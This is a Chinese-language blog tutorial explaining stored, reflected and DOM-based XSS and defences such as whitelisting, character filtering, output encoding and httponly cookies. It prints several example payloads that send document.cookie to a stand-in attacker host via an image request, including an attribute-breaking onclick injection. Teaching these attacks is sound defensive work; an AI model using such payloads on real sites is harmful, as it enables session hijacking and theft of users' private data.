美文网首页
XSS跨站脚本攻击及其防范措施

XSS跨站脚本攻击及其防范措施

作者: 文景大大 | 来源:发表于2020-08-20 20:28 被阅读0次

    XSS,全称cross site scripting,是指黑客将恶意脚本代码嵌入网页中,当客户访问网页时,恶意脚本代码自动执行,从而达成黑客攻击目的的漏洞。

    其主要危害就是cookie泄露,导致非法获取网站正常用户的权限,从而导致用户隐私数据的泄露。

    一、存储型XSS

    这种类型的XSS危害最大。

    黑客在正常的评论、留言页面输入脚本<script>alert("xss")</script>,页面会把它当做正常的留言内容保存到后端。

    任何用户在查看这条留言内容的时候,都会中招。倘若脚本是如下这种:

    <script>
    new Image().src="http://黑客的主机?cookie="+document.cookie;
    </script>
    

    那么任何用户在查看这条留言的时候就会将自己的cookie发送给黑客,从而泄露了自己的cookie。

    二、反射型XSS

    这种攻击方式需要诱导用户点击黑客特制的链接才能实现。

    比如用户已经登录网站,现在网站上有一个get请求是将name参数传递到后端,然后后端再将name的内容返回给前端进行展示的。

    黑客将这个链接改造成如下的样子:

    http://正常的网站?name=<script>new Image().src=
    "http://黑客的主机?cookie="+encodeURI(document.cookie);</script>
    

    然后,黑客会诱导已经登录的用户点击这个链接,当点击后,用户的cookie就发送到了黑客的主机上,从而泄露了cookie。

    三、DOM型XSS

    区别于前两种XSS,DOM型XSS的发生过程不会与后端有交互,是纯前端造成的。

    假设正常网站会将用户的输入或者URL上的参数作为标签的属性填入DOM中,那么黑客就可以使用特制的输入内容或者诱导用户点击链接,来使得原标签闭合,并触发嵌入的恶意脚本。

    比如,页面上有这样一个标签,其href的内容采用了用户输入的内容或者URL链接上的部分参数。

    <a href="+输入内容或者URL参数+">点击</a>
    

    然后,黑客将输入内容或者URL的参数值改为:

    #" onclick="new Image().src='http://黑客的主机?cookie='+document.cookie;
    

    那么这个超链接就变成了如下的形式:

    <a href="#" onclick="new Image().src='http://黑客的主机?
    cookie='+document.cookie;">点击</a>
    

    如此,当用户点击这个按钮的时候,就会将自己的cookie发送给黑客,从而泄露的cookie。

    四、如何防范XSS攻击

    • 对输入参数进行校验和过滤;
      • 白名单,如果可以的话,前后端都需要对参数进行白名单校验,即只允许参数为某种类型的内容,这种是最严格也是最有效的防范措施;
      • 黑名单,对常见的导致XSS攻击的字符进行过滤或者替换,比如:
      <、>、’、“、\、\\、#、&、%
      
      可以将这些特殊的字符过滤掉,或者使用全角的符号进行替换;
      AntiSamy是Java领域的XSS Filter的实现。
    • 对输出内容进行编码;
      可以使用URLEncoder.encode之类的方法对输出内容进行编码,如此一些容易导致XSS攻击的特殊字符会被编码成为字符实体,比如“<”会成为“%3C”,编码之后的内容返回给浏览器时就不会被当做脚本执行,但是不影响被解码还原为"<”进行展示。
            String xss = "<script>alert('123');</script>";
            String result = URLEncoder.encode(xss);
            // %3Cscript%3Ealert%28%27123%27%29%3B%3C%2Fscript%3E
            log.info("{}",result);
      
      ESAPI是Java领域为返回内容做编码处理的工具。
    • 开启httponly
      服务端如果设置了cookie的httponly属性为开启状态,那么浏览器端就不再允许通过document.cookie来获取用户的cookie了。

    五、参考文献

    面试问题如何预防xss攻击
    XSS的原理分析与解剖
    XSS漏洞详解
    DOM型XSS深度剖析

    相关文章

      网友评论

          本文标题:XSS跨站脚本攻击及其防范措施

          本文链接:https://www.haomeiwen.com/subject/erzyrktx.html